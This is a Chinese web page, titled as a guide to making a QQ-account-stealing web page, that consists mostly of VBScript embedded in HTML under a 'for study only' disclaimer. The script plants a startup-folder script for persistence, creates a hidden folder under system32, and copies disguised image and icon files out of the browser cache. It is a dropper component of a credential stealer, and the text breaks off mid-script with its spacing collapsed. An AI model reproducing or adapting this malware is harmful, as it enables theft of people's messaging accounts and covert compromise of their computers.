自己制作盗QQ号网页代码 -电脑资料
本文章只供学习使用，请勿做其他用途！
＜html＞
＜scriptlanguage=vbs＞
'onerrorresumenext
remczyascitboy2002.3.31
aosoao
myname=document.location
IfRight(myname,3)="hta"Then
callsvbs()
endif
endsub
subsvbs()
'onerrorresumenext
setfso=createobject("Scripting.FileSystemObject")
Ifnot(fso.FolderExists("c:\windows\system32\qq"))Then
fso.CreateFolder("c:\windows\system32\qq")
callsv()
else
settimeout"aa()",1
endif
endsub
subsv()
setfso=createobject("Scripting.FileSystemObject")
setfil=fso.opentextfile("C:\WINDOWS\StartMenu\Programs\启动\so.vbs",2,tr
ue)
fil.writeline"drnext"
fil.writeline"subdrnext()"
fil.writeline"onerrorresumenext"
fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"
fil.writeline"If(fso.FileExists(""C:\WINDOWS\StartMenu\Programs\启动\so.h
ta""))Then"
fil.writeline"fso.DeleteFile(""C:\WINDOWS\StartMenu\Programs\启动\so.hta""
)"
fil.writeline"endif"
fil.writeline"foreachdrinfso.getfolder(""C:\windows\tempor~1"").subfold
ers"
fil.writeline"fdnext(dr)"
fil.writeline"flnext(dr)"
fil.writeline"next"
fil.writeline"endsub"
fil.writeline"subfdnext(dr)"
fil.writeline"foreachfdindr.subfolders"
fil.writeline"fdnext(fd)"
fil.writeline"flnext(fd)"
fil.writeline"next"
fil.writeline"endsub"
fil.writeline"subflnext(dr)"
fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"
fil.writeline"foreachflindr.files"
fil.writeline"IfLCase(fso.GetFileName(fl))=""123451[1].bmp""then"
fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.bmp"""
fil.writeline"elseifLCase(fso.GetFileName(fl))=""123452[1].ico""then"
fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.ico"""
fil.writeline"elseifLCase(fso.GetFileName(fl))=""123453[1].jpeg""then"
